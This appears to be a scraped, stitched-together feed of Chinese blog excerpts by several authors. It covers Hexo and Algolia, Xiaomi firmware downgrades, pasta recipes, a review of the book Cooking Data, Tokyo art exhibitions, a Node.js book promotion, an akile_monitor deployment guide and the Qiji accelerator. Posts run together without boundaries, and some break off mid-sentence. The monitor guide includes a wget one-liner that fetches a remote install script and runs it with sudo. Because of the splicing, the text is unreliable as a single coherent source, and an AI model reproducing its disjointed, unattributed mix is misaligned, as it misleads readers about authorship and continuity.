人与人之间一旦开始抬杠,就必然在情绪上严重升级,继而开始出言不逊。
跟着教程把algolia搞出来了,但是发现每次修改完三连上传的时候,都不会自动更新algolia的index,必须手动hexo algolia一下,虽说问题不大,但是相当不优雅。
一开始是想着修改下能不能hexo deploy的时候一并上传,但是发现方向错了。
之前在把博客主题从butterfly换成安知鱼的时候,发现本地图片全部挂了,后来得知是两个插件不兼容,记录一下处理的方式,新版本应该已经做了适配了,所以本文没有多少参考意义了(
总所周知,尽管MS十分自信地把实DOS模式去掉了,但就系统底层而言,WindowsME仍然是一个基于DOS的、16混32位架构的系统,既然基于DOS,那么必然有DOS实模式,因而通过奇淫怪巧,可以找回实模式(
小米澎湃OS是小米为各种轻量设备打造的高性能操作系统,支持硬件资源精准调度、流畅流畅、极速网络、异构兼容性等特点。
但是,可能是平板上的澎湃优化尚不到位,总是感觉没有他的前代MIUI14,更是远不如前前代MIUI13,用起来相当难受,我姑且算有一点点的刷机基础,于是参考着其他大佬的教程,尝试一下降级操作。
一直很少量但是很经常的在用这个图床,之前貌似有提过因为资金问题无法维持,但是后面又能用了,想着能用就不动的原则没去管,现在他最终没坚持下去了,所以不得不考虑图床的问题。
但是这几天发现博客的图标没了,找了半天发现是图床挂了,也是人麻。
实际上我图
由于最近有其他安排,软考计划和文章将无限期搁置,有空再考虑。
最近闲的没事干,在准备软考,有误还劳烦各位斧正。只是记录一下,不完全正确
这是第一部分,主要是计算机系统基础部分。
被拉去参加一个没听过的奇奇怪怪的比赛,学习了一些奇奇怪怪的深度学习的东西,记录一下奇奇怪怪的事情
配合为巽大佬的文章食用更佳2024 年金砖竞赛 – 云边端赛项
最近学了计网和OSI模型,对这个有了点初步的了解,在这里聊聊个人的理解和看法。
OSI为计算机网络通信提供了一个标准的体系结构,使不同厂商和组织能够在相同的基础上进行设计、开发和实现网络协议和设备,从而实现互操作性。在此基础上,OSI提出了结构化的七个抽象层,使得网络设计和维护,故障排查和检修变得简单和清晰明了。在设计网络的时候可以根据OSI进行精细而有目的的协同和设计,而当网络出现问题的时候,OSI的抽象层使得可以清晰地根据不同的故障进行有针对性的且是不同的层级划分的基础上进行具体的定位和解决。
现在三大运营商都在不竭余力地在1000Mbps以上的宽带中推行自己的基于PON的FTTR组网方案。FTTR就是Fiber to the Room,说白了就是局域网从传统的双绞线电组网到全光组网。但是现在的FTTR用的是无源PON方案,实际上这种方案与无源PON要解决的问题背道而驰,不仅无法体现PON的技术优势,还极端明显地体现了其劣势。小且低速的局域网内采用PON方案的FTTR根本就是徒增成本。
Emmm,这篇文章是基于广东省物联网技能大赛的样题,姑且算记录一下比赛的东西。
这篇文章主要是工具性的,所以遇到过其他非比赛的策略组的东西,也会记录一下,就当是手册。
若干年前想着学ESP-IDF,跑了下开发环境,发现乐鑫这个破IDF是真的多坑啊
之前上课的时候,老师要求把指定的固件刷到开发版里面,但奇怪的是,有的板子可以刷入,有的不行,有的电脑可以,有的却不行。按理说工程文件、STLink驱动、开发版都是一样的,不应该存在这种问题才对。于是Google了一轮,记录一下。
虽然我平时点外卖并不多(基本不是在校内买就是直接出去吃),但回想一下自己点外卖的时候,似乎一直是对外卖小哥抱着 “理解”“体谅” 的态度
我想,只是因为能上到大学的学生所接触的基础教育是具备正确价值观的,而不是计较、抠门、刁难、无理取闹
嘛,也是大半夜无聊刷博客看到了港港写的“送去大学的外卖基本没有差评”而我之前暑假的时候也去送了一波外卖,有感而发(
与此同时,我个人也是进场点外卖,于是想本着两个角度和两个立场的角度,来聊聊。
小米电脑管家是一款专为小米笔记本用户设计的电脑管理软件,是小米HyperConnect生态的重要一环。它提供了一系列强大的功能,包括驱动管理、硬件信息、设备互联等。其内置了小米的HyperConnect跨端智联功能。
如果你是小米手机用户的话,那么非常建议你安装!因为他能给你完整的智慧互联。本期,将以非小米电脑用户的视角,安装最新的完整版小米电脑管家
文章搭配Redmi Buds 4 Pro偷渡和开启LDAC食用更佳
之前说到,通过偷渡到国际版的方法,成功开启了RB4P的LDAC模式。但是Win10仍然只支持低质量的SBC,而Win11也只是只支持48Khz的AAC,更不提LDAC这些高品质音频协议。但是经过我的一番Google和Gihub之后,发现了一个好东西《Alternative A2DP Driver》可以通过这个第三方的蓝牙音频驱动,让Win10和Win11支持LDAC和aptXHD,并且可以选择更高的采样频率或编码质量。
网上有个观点是AAC之后感知不强,emmmm这点我觉得还是得看个人感受和耳朵敏感度,如果你的蓝牙耳机不是特别拉胯,那从SBC换成LDAC或者是aptXHD感知还是相当明显的,
一开始是闲的没事干,然后想找点乐子,顺便因为是双男主比较喜欢看小正太才看的。看了之后才发现不是那么一回事,根本不是所谓的乐子片。天知道我最后一集哭了多少次(((
偶然看到哈肯出新歌了,原来是参加了综艺(不追剧人.jpgs
刚开始试听,鸡皮疙瘩就起来了,哈肯果然是哈肯,宝刀未老(火了大半个世纪的男人.jpg
披荆斩棘的哥哥、披荆斩棘克勤,我认为这首歌是哈肯真正意义上的挑战自我的”披荆斩棘”,是抛弃了过往40年以来的传统唱法习惯来选择一种全新的演绎方式。作为哈肯老粉,哈肯的歌一直是文人书生的内敛而优雅的流派的,因此也被人称“毫无感情全靠技巧”。
昨晚开着电脑听歌的时候,突然发现过了两个小时还不会熄屏,这就奇了怪了,因为我的电脑是设置了3分钟熄屏的。
而 Win32API Winbase.h里面的SetThreadExecutionState可以使得屏幕关闭和阻止系统休眠,而这本身是静默的,Windows并没有在前端提示是由谁造成的,于是就特别难蚌(
折腾了一圈也是发现有两种方式可以把阻止休眠的程序找出来。
我个人日常用的操作系统主要是Win11和Linux,但是最近Win11出现了各种诸如崩explorer、崩环境变量等诸多问题,遂尝试返回Win10。
但原生的Win10过于臃肿,带有许多诸如”‘Windows人脉’”等没用也用不上的功能,而我只需要一个简单好用的桌面系统。但是第三方的精简镜像系统安全和稳定性完全没有保障。这时官方提供的LTSC就很香了
对意大利肉酱面最初的回忆可能是萨利亚和必胜客,萨利亚的味道很寡淡,必胜客的则浓一些。
后来吃了一次「镰仓PASTA」,才知道意大利面原来可以这么好吃。有点可惜的是几年前上海的镰仓陆陆续续关门了。
之前有一段时间自己住,偶尔会简单的做意大利面充饥,但谈不上好吃。
最近开始想要好好做做意大利面,发现意大利肉酱面其实是个慢烧料理,长时间的炖煮才能让风味融合。
拿着基础菜谱,先简单实验了一下。
味道比以前好了许多,但感觉还是不够浓郁。
隔夜再烹饪时,我稍留了一些煮面水,再加了一些牛奶,和意面、酱料一同收汁。
酱料裹的更均匀,也更浓郁了。
但这次的肉馅感觉太瘦了,脂肪不够,所以肉的味道不够香。另外,即使加了两个西红柿,番茄味还是不够突出,酱料的层次也不够丰富。
下次煮酱料的时候,想加点培根碎、浓缩番茄膏和肉高汤,炒肉馅的时候耐心些,煎出焦化层,把料酒换成红酒,出锅时再加点芝士和牛奶收汁。
整理一下新菜谱,下次待用:
想做出好吃的食物还是得耐心。
另外,最近在尝试 Reeder 作者出品的菜谱软件——Mela,一如既往的舒服。
可 Self-host 的 mealie-recipes/mealie 和 TandoorRecipes/recipes 似乎也是不错的选择。
祝大家有个好胃口!
大模型的好坏,与数据质量息息相关,目前的数据大多已投入模型中,如何获得优质的真实世界数据将成为长期的课题。
我平时会做一部分数据分析,喜欢人类学,明年又有可能参与非洲的研究项目。Crystal Biruk 写的这本 Cooking Data 则包含了这些我参与和热爱的内容。前段时间薄荷实验在招这本书的翻译,我甚至都心动了。
本文是 Cooking Data 读后感。
作为学院派的研究者,我们其实没有很多机会参与完整的现场调查和数据收集,平时将拿到手的数据称为 raw data,并认为该数据应该是「干净且客观的」,偶尔遇到数据质量差的数据,则会心生抱怨。
这本书的标题则直接指出,「干净的数据」这一概念是虚构的,是远离现场的人们所想象的。数据必然被「多次烹饪」,无法避免的与社会和文化环境交织在一起。
然而基于数据的决策系统,已经被广泛应用于政策制定,所以梳理和反思数据产生的全流程是必要的。
全员多语种的专家团队是任何一个大项目都负担不起的,需要翻译专家从中协调。然而,即使 ChatGPT 等大语言模型提升了翻译的下限,也远远不够,这是大部分全球健康项目数据质量的根源性问题。
将高质量数据标准方案翻译成其他语言本身就面临很大挑战,即使是 WHO 官方翻译的中文文件,有时我阅读起来都怪怪的,最后直接看英文,才能完全理解。这不仅是逐字翻译的问题,而是叙事习惯和结构的问题,这些方案和标准需要是易于理解和执行的。
另外,不同语言体系中,对特定专业词汇的解释会有细微差异,仅仅是找到相似的其他语言替代词并不足够,有时需要创建新的词组,以确保含义的一致性。与此同时,又增加了表述的复杂性。
有时我们会假定数据驱动的一些学科,是植根于新时代的理性产物,纯科学、非文化。但这种假设是被视野所局限的,忽略了文化背景特殊性。
传统人口学倾向于将数据生产看作一个线性、标准化的流水线。然而,实际上每个数据点的形成都更像是一个有机的、动态的生命周期。数据并非简单、重复性的工业产物,而是通过一系列的交易、经历和关系后形成的。这种观点挑战了简化数据处理为工业化生产的思维模式,强调了数据的复杂性。
在研究项目中,不同职能的工作者,如项目设计、数据收集、分析、传播,之间的权力关系是不对等的。以作者的非洲马拉维现场为例,研究者在处理数据的时候,会对马拉维当地的平均知识水平产生偏见,并将数据分析中遇到的困难,转嫁为数据采集的质量较差。
这些不对称在追求方法学严谨的数据时被放大,并在欧美主导项目的背景下,引出了种族、新殖民主义、城乡不对称等残留问题。每个维度都值得更多的讨论和研究,但这种复杂性有时会让人们望而却步。
现场调查者常会准备小礼品以助调研顺利,最初会选用糖,但袋装糖的成本较高,在高气温环境运输不方便,并会占据更多运输空间。另外,有些因摄入糖或食用油而生病的受访者会因此抱怨。
与之相似的是,现场工作人员拒绝赠送空水瓶。因为有孩子装水喝完,如果出事,会与村民关系恶化。
外来者本就会被警惕和观察,任何小问题都会被放大。
肥皂则是一个经过实践检验的最佳选择,简单、方便、干净。
但礼物这个概念本身就会引起不平等,因为同一项目的不同调查点可能有的发放礼物,有的没有。没有获得礼物的村民则会觉得不公平。
随机抽样也会造成,仅有被调查的人收到了礼物,形成幸运的内部人和不幸的外部人之间的不平衡。
这些方面都是我以前没有考虑到的,而确实是长期项目所需要关注的。
与当地人和谐相处,才能避免基层调查者和受访者的流失,保证回访的数据质量。
这几年翻译成中文的人类学书籍越来越丰富了,真不错!
剑玉(けん玉、Kendama),是一种源于日本或法国的民间游戏,由三皿一刺一绳一球组成。19 年的时候手痒买了一个,后来断断续续的玩着,越来越喜欢。
前几天在东京,特意去了涩谷附近的剑玉店,氛围很国际化,甚至店内是英文交流。一个老哥疯狂炫技,眼睛都要跟不上了。
各种异性、大型、小型的剑玉也让人目不暇接。东西很多,但价格略高,且我能接收的价位中,没有淘宝的选品看上去精致。
于是人处东京,淘宝激情下单,买了一款咖啡豆元素的国产剑玉。
这两天终于到手,比之前买的基础款稍大一些,枫木剑柄,白蜡木的球。黏性漆和稍大的大小皿,感觉更容易上手一些。线稍长,还需要一点时间适应。小缺点是剑柄和球上的文字有些多,如果都去掉,会更简约好看。
这两年看电脑的时间太多了,需要一些不用眼的小活动,间歇性休息一下,剑玉就是很好的选择。
它的基础动作并不难,很适合和朋友一起体验。之前去露营的时候,我带了剑玉和飞盘,挺欢乐的。
目前我只能玩一些基础动作,连招对我来说还太难了,之后打算好好修炼一下!
《循序渐进Node.js企业级开发实践》由清华大学出版社出版,已于近期上市。该书基于Node.js 22.3.0编写,提供26个实战案例+43个上机练习,可谓是目前市面上最新的Node.js力作。
本文对《循序渐进Node.js企业级开发实践》一书做个大致的介绍。
首先是介绍封面部分。
《循序渐进Node.js企业级开发实践》跟我之前所介绍的《循序渐进Spark大数据应用开发》是属于同一系列的作品,封面部分保持了一贯的比较Q的风格设计,充满活力。
可以看到,左下角和右上角体现了本书特色。本书目标是“解锁Node.js潜能,成就全栈开发之路!”。同时本书案例丰富,提供26个实战案例+43个上机练习。
为了方便各大院校师生教学使用,本书也提供了源码和教学课件。
右下角是出版社“清华大学出版社”字样。
介绍封底部分。
封底部分可以看到主要是对本书的简介。
本书主要是面向对Node.js应用开发感兴趣的学生、开发人员及架构师,也适合培作为高校大数据及相关专业的教学用书。
全书篇幅317页,定价为89元,也算良心了。极具性价比。
《循序渐进Node.js企业级开发实践》结合作者多年一线开发实践,系统地介绍了Node.js技术栈及其在企业级开发中的应用。全书共分5部分,第1部分基础知识(第1~3章),介绍Node.js的基础知识,包括模块化、测试等;第2部分核心编程(第4~9章),介绍Node.js的缓冲区、事件、定时、文件、进程、流等方面的处理;第3部分网络编程(第10~16章),介绍Node.js的TCP、UDP、HTTP、WebSocket、TSL/SSL、常用Web中间件、Vue.js与响应式编程等方面的内容;第4部分数据存储(第17~19章),介绍Node.js关于MySQL、MongoDB、Redis等数据存储的操作;第5部分综合应用(第20章),介绍Node.js实现即时聊天应用的完整过程。除了Node.js技术外,本书还讲述了Express、Socket.IO、Vue.js、MySQL、MongoDB、Redis等热门技术的应用。本节还精心设计了26个实战案例和43个上机练习,所有练习都提供了操作步骤,便于读者实操演练,快速上手。
《循序渐进Node.js企业级开发实践》技术新颖,实例丰富,理论讲解与代码实现相结合,既适合作为Node.js的初学者和进阶读者的自学用书,也适合作为培训机构或高校相关专业的教学用书。
全书分为以下5部分:
值得注意的是,本书精心设计了26个实战案例和43个上机练习,每个上机练习均给出了操作步骤和示例代码,便于读者边学边练,快速上手。这些内容旨在帮助读者将理论知识转化为实践技能,快速提升解决实际问题的能力。无论是对于学生、大数据开发人员还是架构师来说,这都是一本不可多得的宝贵资源。
Node.js作为一款高性能、开源的服务器端JavaScript运行环境,自2009年诞生以来,凭借其非阻塞I/O模型、事件驱动、单线程等特性,在实时应用、高并发场景以及前后端分离的架构中得到了广泛应用。同时,随着前端技术的不断进化,如React、Vue等框架的兴起,全栈开发的概念逐渐被更多的开发者接受。Node.js作为全栈开发的重要一环,其重要性不言而喻。
近年来,随着云计算、大数据、人工智能等技术的融合发展,Node.js的应用场景也在不断扩展,从最初的Web开发逐渐延伸到物联网、移动应用、实时通信、游戏开发等多个领域。因此,对于广大开发者来说,掌握Node.js已经成为必备的技能之一。
本书旨在为广大Node.js开发者提供一本全面、系统、深入的学习指南。本书不仅涵盖了Node.js的基础知识,还深入讲解了Node.js的核心原理、高级特性以及实际应用场景。同时,本书还结合了大量的实战案例,帮助读者更好地理解和掌握Node.js的全栈开发技巧。
本书提供的素材和源代码可从以下网址下载:
https://github.com/waylau/nodejs-book-samples
本书如有勘误,会在以下网址发布: https://github.com/waylau/nodejs-book-samples/issues
见B站:https://www.bilibili.com/video/BV1NrqLYQEi4/
如果你喜欢本开源书,也欢迎支持下该书的正式出版物,实体店及各大网店有售。
买了两张票,一个是 Alec Soth 的个展,另一个是 The Gaze of the Present(日本当代摄影展)。
上一次看 Alec Soth 是在上海摄影艺术中心(SCoP),现在 SCOP 已经关门了,有些伤感。
这个展馆比 SCOP 大很多,内容也更丰富一些,但布展结构似乎没有 SCOP 那么自在,比较严肃传统。
日本当代摄影展则囊括了多名日本当代摄影师,小田黑惠美、菅野小百合、千贺健二、神奈川真吾、原田佑希。
二楼是购物区,有很多摄影书,看的很过瘾。
四楼则是图书馆,挺安静的,如果不是旅行,可以在这呆上一整天。
近几年,上海在艺术展布展方面越来越棒了,比如 Fotografiska、浦美、西岸美术馆。感觉以前上海的美术展会倾向于量大管饱,少了些对小而精的追求。Fotografiska 则有了一些新的尝试,票价也确实贵一些。
日本商业和艺术结合的会更紧密,很多小型艺术展都在商区之内,且质量很高。上海 k11 也有类似的规划,但还是少了些。看着西岸附近规划逐渐成熟,感觉以后类似的尝试会越来越多。
隈研吾操刀,竹木墙外是表参道,闹中取静,选品和光线都很细腻。
展馆外有很大一片庭院,枫叶季美极了。
单论观展体验可能是这次日本之行中最好的。
逛完根津美术馆,就要回国了,下次想去神保町逛逛。
趁着黑五,新购置了配置高些的 VPS。折腾一番后,整理了目前自托管的服务。
第一个 VPS (Bandwagon)托管了 2 个项目 wordpress(建站) 和 Umami(数据统计),保持全球稳定的线路,和博客的稳定性:
第二个 VPS(Racknerd) 托管了 11 个项目:
更多自部署软件可参考:awesome-selfhosted 和 Top 3 BEST applications you’ve decided to self-host? 。想轻量级省心的可以试试 YunoHost 。
个人倾向于将关键的非隐私类文件托管于信誉较好的大平台,如 Dropbox 和 1Password,所以没有使用自托管云盘和密码软件。
Saul Leiter 是我开始街头摄影时就喜欢的摄影师,《All about Saul Leiter》则是我买的第一本摄影书。
没有提前计划,来东京前一天搜展讯的时候,搜到了它,这就是缘分。
Art Cruise Gallery 是商场里的一个小小的展区,几分钟就能逛完。好在经典的几张作品都在,免费的展,也不能期待太多。
出门时买了《Forever Saul Leiter》,一红一黄,凑齐了两本。
上海富士 XSpace 是我很喜欢的去处,来东京之后没有找到同名的空间,但找到了富士旗舰店—六本木的 FUJIFILM SQUARE。
一进门是富士、滨田英明和迪士尼合作的特展,日式小清新的风格,主角是米奇米妮。比较商业化的主题,头套模特,很难捕捉到其中的情绪,感觉没有挖掘出滨田英明的优势。往里走有富士老相机的展柜和一组老照片特展,还有现售相机的陈列柜。
感觉还是国内的 XSpace 经营的更细腻一些,空间更大,讲座和活动也更多。
FUJIFILM SQUARE 隔壁是三得利美术馆,但当下主题不是很感兴趣,就直接去了安藤忠雄设计的 21 21 design sight,灵感来源与三宅一生,也算是梦幻联动。
经典的清水混凝土风格和公园融为一体,70%空间隐匿于地下。
门票是一张蓝色的贴纸,刚好和我那天的外套一个颜色,喜欢这种淡淡的巧合。
展览名称是 pooploop,与排泄、废物、发酵、循环等相关,恰好是我很感兴趣的领域。布展质量很高,逛起来也舒适。
小缺点是展馆太小,不尽兴。
逛完之后,在公园里坐了很久,享受了那本《Forever Saul Leiter》。
秋冬交际之时,东京的天气真是很舒服,站起来伸个懒腰继续逛。
出了 21 21 design sight,稍走10分钟,就是国立新美术馆。
一楼的两个展有很鲜明的对照,一个是大学生群展,另一个是个人艺术家的群展。
个人艺术家那边,每个展位个性都很鲜明,逛得眼花缭乱。
大学生那边则是整齐的平面海报设计,逛起来舒适度高一些。个人对更喜欢大学生那边鲜活的力量感,和偏近现代的风格。
个人感觉群展多,也说明当地艺术生态很健康,喜欢这种热闹的感觉。
去看 YOSIGO 的路上,刚好遇到了一个小小的 Banksy 个展。
Banksy 是一位匿名的英国涂鸦艺术家。年初的时候刚好去了他的故乡布里斯托,看了几幅他的街头涂鸦。
感觉冥冥中与他有些缘分,就逛了下。
3幅画 + 一段视频 + 一个标志性的红气球,300日元。价格算不上贵,但内容是真的有点少。
YOSIGO 就在 Banksy 的楼上,是我喜欢的风格。
西班牙摄影师,喜欢捕捉地中海沿岸的风景和人文场景。
内容很丰富,有多个分区,拍摄对象各有不同,但艺术风格是统一的。
门票刚好和我的钱包同一颜色,一天之后有两次类似的巧合,让人心生愉悦。
如果你近期在东京想逛展,我会推荐:21 21 design sight – Pooploop 和 YOSIGO。
这两个布展质量都很高,逛得很享受。
前几天和朋友谈起自己性格上的一些转变。
提到「表达自己想吃什么」,这一点,对我而言很重要。
说出这句话时,我其实也没有想清楚。
以前跟朋友出门玩或吃饭,我都会说随便,但我真的不在意吗?
那不是在谦让,也非在讨好。
实际上,我似乎觉得我的观点不重要,「自己也不重要」。并让自己变得能够尽可能适应身边的环境,让自己的口味尽可能随便,有更高的包容度。
害怕给他人带来麻烦,担心自己的选择会被否定。我在逃避选择的责任,逃避可能的冲突,逃避表达后的不确定感。
这对我而言,这意味着一种安全感。
我不是没有观点,而是害怕有自己的观点。
表达自己想吃什么,其实代表我开始认为「自己是重要的」,是值得被自己,被身边的人认真对待。
当我开始表达自己的需求和偏好时,实际上是在肯定自我存在的价值。
知道自己想吃什么,也很重要。
这意味着,开始认真对待内心的声音,与自己的感官和情绪建立连结,耐心观察每一个微小的需求。
记日记和写博客之后,感觉我越来越能理解自己,了解自身的喜好。
「自我人类学」是很好的实践模版。作者以人类学的视角观察和分析自己的生活,在个人田野笔记中捕捉即时的思想和情感,播下自我发现的种子。
写作和觉察相辅相成,帮助我们在生活中,一点一滴地找回与自己对话的能力。
当你真诚地面对生命,不再逃避,不再妥协。
你会发现,你即是你的思绪,你的恐惧,你的习性。没有一个独立于此的「你」在改变自己,观察者即是被观察的对象,你就是这个世界本身。
祝好,
我的朋友们。
项目地址:https://github.com/akile-network/akile_monitor
楼主作业:https://aktanzhen.pages.dev/
运行官方一健脚本
wget -O ak-setup.sh "https://raw.githubusercontent.com/akile-network/akile_monitor/refs/heads/main/ak-setup.sh" && chmod +x ak-setup.sh && sudo ./ak-setup.sh
选1安装
auth_secret和hook_token在键盘上用脸滚一圈就写好了
这里为了最easy的部署tg通知功能先不设置(后期可加)
回车↩︎以后主控端就部署完成了,真的是非常easy呢
wss其实也可以通过nginx反代来实现,这里使用cf的原因有两点:
· 简单
· 让被控与主控之间通过赛博活佛连接,可以保障两者之间连通性好,对主控的国际互联要求就不高了
不开启的话会显示websocket连接失败,反面例子如下:
我们给部署主控端的VPS来个开小黄云的域名zhukong.example.com
是给解析到主控端VPS并且开启小黄云!
zhukong.example.com
不是前端的自定义域名!!
添加一个Origin Rules,重写到3000端口(即安装主控端的时候设置的主控端程序监听端口),然后点击低下的“部署”
下载前端文件,解压成文件夹
https://github.com/akile-network/akile_monitor_fe/releases/download/v0.0.1/akile_monitor_fe.zip
打开config.json文件,填写如下内容,zhukong.example.com
换成咱们刚刚搞得开了小黄云的域名
{
"socket": "wss://zhukong.example.com/ws",
"apiURL": "https://zhukong.example.com"
}
来到workers and pages,点击创建
选择pages,选择上传资产
填写项目名,上传文件夹
选择我们解压出的那个文件夹
然后点击部署,前端就大功告成了!
刚部署完可能要等个一会(几秒到几分钟都有可能)页面才能正常加载出来
依旧是一健脚本:
wget -O ak-setup.sh "https://raw.githubusercontent.com/akile-network/akile_monitor/refs/heads/main/ak-setup.sh" && chmod +x ak-setup.sh && sudo ./ak-setup.sh
选5安装被控
Enter URL写 wss://zhukong.example.com/monitor
auth_secret就是我们在安装主控端的时候用脸滚出来的
可以在主控端的/etc/ak_monitor
目录下的config.json
里找到
Enter name的时候注意,ak识别节点地区的方式是按照name的前两个字符识别的,我这里写HK,那么最后在前端里这个节点上就显示香港的区域旗帜
区域 | 旗帜代码 | 备注 | 来源解释 |
---|---|---|---|
中国香港 | hk |
Hong Kong | 取自英文 Hong Kong 的缩写 |
中国澳门 | mo |
Macao | 取自英文 Macao 的缩写 |
中国台湾 | tw |
Taiwan | 取自英文 Taiwan 的缩写 |
英国 | gb |
Great Britain (UK) | 取自英文 Great Britain 的缩写 |
美国 | us |
United States | 取自英文 United States 的缩写 |
加拿大 | ca |
Canada | 取自英文 Canada 的缩写 |
澳大利亚 | au |
Australia | 取自英文 Australia 的缩写 |
新西兰 | nz |
New Zealand | 取自英文 New Zealand 的缩写 |
日本 | jp |
Japan | 取自英文 Japan 的缩写 |
韩国 | kr |
South Korea | 取自英文 Korea 的缩写 |
德国 | de |
Germany | 来自德语 Deutschland 的缩写 |
法国 | fr |
France | 取自英文 France 的缩写 |
意大利 | it |
Italy | 取自英文 Italy 的缩写 |
西班牙 | es |
Spain | 来自西班牙语 España 的缩写 |
俄罗斯 | ru |
Russia | 取自英文 Russia 的缩写 |
印度 | in |
India | 取自英文 India 的缩写 |
巴西 | br |
Brazil | 取自英文 Brazil 的缩写 |
南非 | za |
South Africa | 来自荷兰语 Zuid-Afrika 的缩写 |
新加坡 | sg |
Singapore | 取自英文 Singapore 的缩写 |
在互联网或创业圈的人对奇绩创坛肯定不会太陌生,但其他行业的很多人则可能是第一次听说这个名字,在此我可以简单介绍一下,奇绩是一家带有孵化器性质的投资机构,每年春秋两季,奇绩会选择大约 50 个项目,对其进行投资,并在接下来的三个月内进行高强度的「孵化」,三个月后会组织一次面对数千投资人的大会(又被称之为 demo day),以尽可能的帮助这些创业项目在更多投资人面前混个脸熟,拿到下一轮融资。
奇绩的前身是 YC 中国,YC 成立于 2005 年,到现在已经投资了超过 3000 家公司,其中最著名的包括 Airbnb,Stripe,Reddit 等等,YC 在 2018 年进入中国,但一年多后因为各种原因宣布退出,此后 YC 中国的合伙人陆奇创办了奇绩创坛,继续以 YC 的方式进行在中国的事业。
提奇绩就不能不提陆奇,陆奇博士有华丽的履历和强大的资源, 横跨数十年中美两国互联网发展的黄金时期,举例来说,2017 年陆奇曾任百度 COO,就定下了聚焦AI 的战略,但随后因为许多原因离开,陆奇博士在百度内的口碑极佳,但作为外人,我对细节知之甚少,只是在这么早的时候就看到了 AI 的潜力并愿意下重注,这一点就足够人钦佩。
奇绩的流程很简单,填写一个(很长的)报名表单之后,会筛选两轮,然后进入面试,面试通过则会获得投资和后续的支持,没通过会鼓励你下次努力。
我在 2020 年我刚开始做面包多,报名了当年的奇绩,但是初筛就未得通过,21 年我又试了一下,依然在面试的环节挂了,面试是在线上进行,包括陆奇在内的四位合伙人一字排开,轮番提问,我觉得我回答的还行,但还是没过。22 年我本来不打算参加,但是当时我们已经开始做新的业务,并且和 AI 相关,奇绩的同学极力劝我报名,于是我又报名了一次,并最终通过,进入了 2022 年秋季的那一期。
我没记错的话,在投资方面,奇绩有一个标准的报价,以 30 万美元或等值人民币换取 7% 的股份,但是对少数阶段靠后或者数据已经起来的项目,也会协商估值和投资金额,我们并没有按照标准协议走,而是根据情况谈了一个新的价格,这并不常见,但是是可能的。
坦白说,我报名奇绩最大的目的就是拿钱,对其他的什么孵化,训练营,demo day 都没有什么兴趣,在我看来这是给钱之外的一些附加服务,属于可有可无的范畴,我就是抱着这个想法进入 2022 年秋季的那一期的。
签署协议后不久,就开营了,当天当期的所有项目的创始人,都聚集到奇绩北京的总部,闹哄哄一大堆人,先听陆奇的演讲,然后互相认识,分组,自我介绍,吃一顿自助餐,然后各回各家。
此后的三个月,我们每周都要线下去奇绩办公室一到两次,参加多个活动,包括 office hour(OH),group office hour(GOH),听嘉宾演讲等等,OH 和 GOH 是最重要和主要的内容,每周大概一两次,在 OH 中,我需要和包括陆奇在内的四位奇绩合伙人一对一聊天,说我的想法,问他们问题,会得到一些建议和帮助,GOH 则是十来个项目的创始人坐一圈,大家轮流汇报自己最近的进度,然后互相提问, 其中也会有一位奇绩的合伙人坐在中间主持,总的来说看上去很像学校课堂,老师带着一群学生巴拉巴拉讲话。
入营后不久,我们被要求对三个月后的 demo day 设定目标,这个目标对不同项目而言是不一样的,有的是产品上线,有的是拿到多少订单,有的则是获得多少用户,每周的讨论也会和这些目标挂钩。
总的来说奇绩的事情就是这些,但我想谈谈我在奇绩遇到的人。
被奇绩选中并不容易,就我那一期而言,大约有 6000 个项目报名,最终选择了 50 个,后来的几期报名的项目超过了 8000 个,最终入选的还是 50 个左右,可以称得上百里挑一,这些被选中的创始人,除了像我这样的非典型的创业老炮,大部分都具备这些特点:年轻,聪明,履历极佳(名校或名企),极富想象力。
和这些创始人相处是很开心的事情,事实上和聪明人相处总是愉快的,我自己是个 I 人,都能认识一些朋友,只要你长着一张嘴,就也会认识很多朋友,这些人和人的链接在奇绩的那三个月里是友好而表层的,但是其中的一些,会在之后的时间里悄然变化,成为一些更深的链接,我自己成为了一些校友(是的,大家会称之为校友)的客户,另一些则为我提供了及时的帮助,据我所知,还有一些更深度的合作和更牢固的友谊。
奇绩的这些项目,即便以我的角度来看,很多也都是天马行空有余而落地执行不足,加之创始人都是年轻人,甚至很多都还尚未离开大学,因此拉出去一通展示,很多人会有嗤之以鼻的心态,这些人明里暗里的表示,奇绩不太行,投的项目不落地,跑出来的没几个,大多数会挂。
我不能说他们是完全错的,从某个角度来说,创业尤其是科技创业,本身就是九死一生的事情,「大多数都会挂」是一个事实,但早期投资,不就应该去支持这些疯狂的理想,愚蠢的天才,不计后果的冒险,以及孤注一掷的决心吗?
奇绩今年正好是第五年,这五年也是资本环境从热闹走向寒冬的五年,当投资市场变得越来越谨慎,融资越来越像贷款,以至于中国创业者要么在国内弹尽粮绝,要么肉身出海谋求出路的时候,单纯还在每年进行足额足量的投资,把钱(虽然不多),给到那些初出茅庐,又野心勃勃的年轻创业者,这就足以表明奇绩的初心从未改变。
我跟我其他创业的朋友说,以前没有感觉,最近两年越来越觉得奇绩像是投融资界的白月光了,大家大笑,疯狂点头——一言以蔽之,我们后来在融资上吃了太多的苦头,回过头来才发现,奇绩填填表就行,合伙人和大家像校园里的相处模式是多么的美好。
奇绩是一家投资机构,当然最重要的是给钱,对我来说是这样,但是客观来说,那些数不清的对谈,围坐,问询,分享,对于那些首次创业的创业者来说,依然是有价值的,实质性的帮助是有的——如何融资,如何打造 PMF,如何找客户,如何避免风险,这些经验往往来自更有经验的人,但另一方面,我觉得更为重要的是,奇绩的创业者圈子,缓解了孤军奋战的孤独感,这里有大量的同类,我对分享没什么兴趣,既不爱说,也不爱听别人说,但我知道这群人的存在,也会觉得有点宽慰。
陆奇是奇绩的创始人,也是精神领袖,大家都称呼他 qi,我对 qi 的看法可能和大多数人不太一样,他正儿八经讲的话我不太记得住,我记得的是有一次我们在工区见面,他说他以前也会画画,小时候还得过画画的奖。我后来查了一下,qi 是 61 年出生的,六张的人了,这让我难以置信,因为我一直以为他四十多岁,还属壮年,没想到已经是退休的岁数了。
作为一个前辈,每个人从 qi 身上学到的东西可能不一样,我更多的是看到了一个可能性,一个人可以很纯粹,很拼的为一个理想而努力,直至六十多岁依然如此,这是何等尽兴的人生。
直至今日,我依然推荐所有第一次创业的创业者报名奇绩,从实际的角度来说,现在融资环境差到没边,找一个能投的机构真的太难了,而奇绩正是为数不多还在投的机构,从另一个角度来说,创业坑太多了,奇绩是真的能够帮你多少避免一些,此外还可以认识很多人,我是个 I 人,也认识了得有大几十个,如果你是个 E 人,那你认识的人可能可以比我多十倍,我说不好认识人有什么用,但对于年轻人,多认识点人总不是坏事。
